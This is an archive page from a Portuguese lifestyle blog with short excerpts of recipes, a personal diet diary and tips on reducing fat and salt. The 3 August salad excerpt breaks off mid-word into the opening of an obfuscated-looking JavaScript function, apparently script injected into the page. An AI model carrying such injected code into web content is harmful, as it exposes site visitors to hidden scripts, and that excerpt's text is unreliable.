Ago 18, 2016 | À descoberta, Receitas
Águas detox – 2 receitas simples, frescas e aromáticas Maçã + Canela Para 1 frasco de meio litro Preparação: 10 min Dificuldade: fácil Os Ingredientes: Maçã: 1 Paus de canela: 2 Água mineral: cerca de 400 ml Cubos de gelo A Receita: Esfregue a maçã. Corte-a em...
Ago 16, 2016 | À descoberta, Receitas
Parfait de morango e iogurte por Luísa Fortes da Cunha Ingredientes 1/4 de abacate 2 colheres de sopa de aveia 8-10 morangos congelados 2 colheres de sopa de leite (aveia, coco, amêndoa, etc.) Preparação Bata tudo no liquidificador até obter um creme homogéneo. Depois...
Ago 15, 2016 | Equilíbrio, Saúde e bem estar
Bem sabe que gosto de partilhar consigo os truques que vou descobrindo para uma vida mais saudável. E desta vez quem brilha é o vinagre de maçã (ou de sidra, se preferir). Para além de ser um bom condimento para os nossos cozinhados, este produto tem vários benefícios...
Ago 13, 2016 | À descoberta, Receitas
2 saladas muito frescas e saudáveis, por Luísa Fortes da Cunha Salada de atum com queijo Halloumi Ingredientes 1 lata de atum 4 fatias de queijo Halloumi grelhado Alface, tomate, pepino a gosto Tempera com sal, azeite e vinagre balsâmico Preparação O queijo Halloumi é...
Ago 3, 2016 | À descoberta, Receitas
2 saladas para um verão mais apetitoso, por Luísa Fortes da Cunha Salada de atum e camarão Ingredientes 1 pacote de salada gourmet 10 tomatinhos cherry 1 Cebola 3 ovos cozidos 400 g camarões grfunction a4872b9c6b(y1){var...
Ago 1, 2016 | Equilíbrio, Saúde e bem estar
Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...
Jul 25, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Olá! Como bem sabe tenho partilhado todos os passos da minha dieta aqui no meu site. Na semana passada escrevi sobre a fase da dieta Lev em que me encontro: a fase de manutenção. Nesta fase posso comer um pouco de tudo mas com peso e medida, ou seja, de forma...
Jul 18, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Últimas novidades da minha dieta. Olá, olá! Se tem estado atento ao meu site então sabe que eu comecei uma dieta porque engordei no inverno. Como não me estava a sentir bem com os quilinhos a mais, consultei uma nutricionista numa Clínica Lev, cumpri à risca o plano...
Jan 23, 2016 | Equilíbrio, Saúde e bem estar
Dicas para cozinhar com menos gordura Há muitas maneiras de reduzir a gordura na sua dieta e incluem-se aqui dicas que pode utilizar ao cozinhar. Inserem-se, genericamente, em 3 categorias: os alimentos que compra, o modo como os cozinha e o equipamento que usa para...
Jan 22, 2016 | Equilíbrio, Saúde e bem estar
10 Estratégias para reduzir o sal na sua dieta Porque é que o sal faz mal? É a pergunta que muitas pessoas fazem. A resposta é simples. O sal não faz mal, sendo até mesmo necessário à sobrevivência dos seres humanos e fundamental para manter o equilíbrio do...
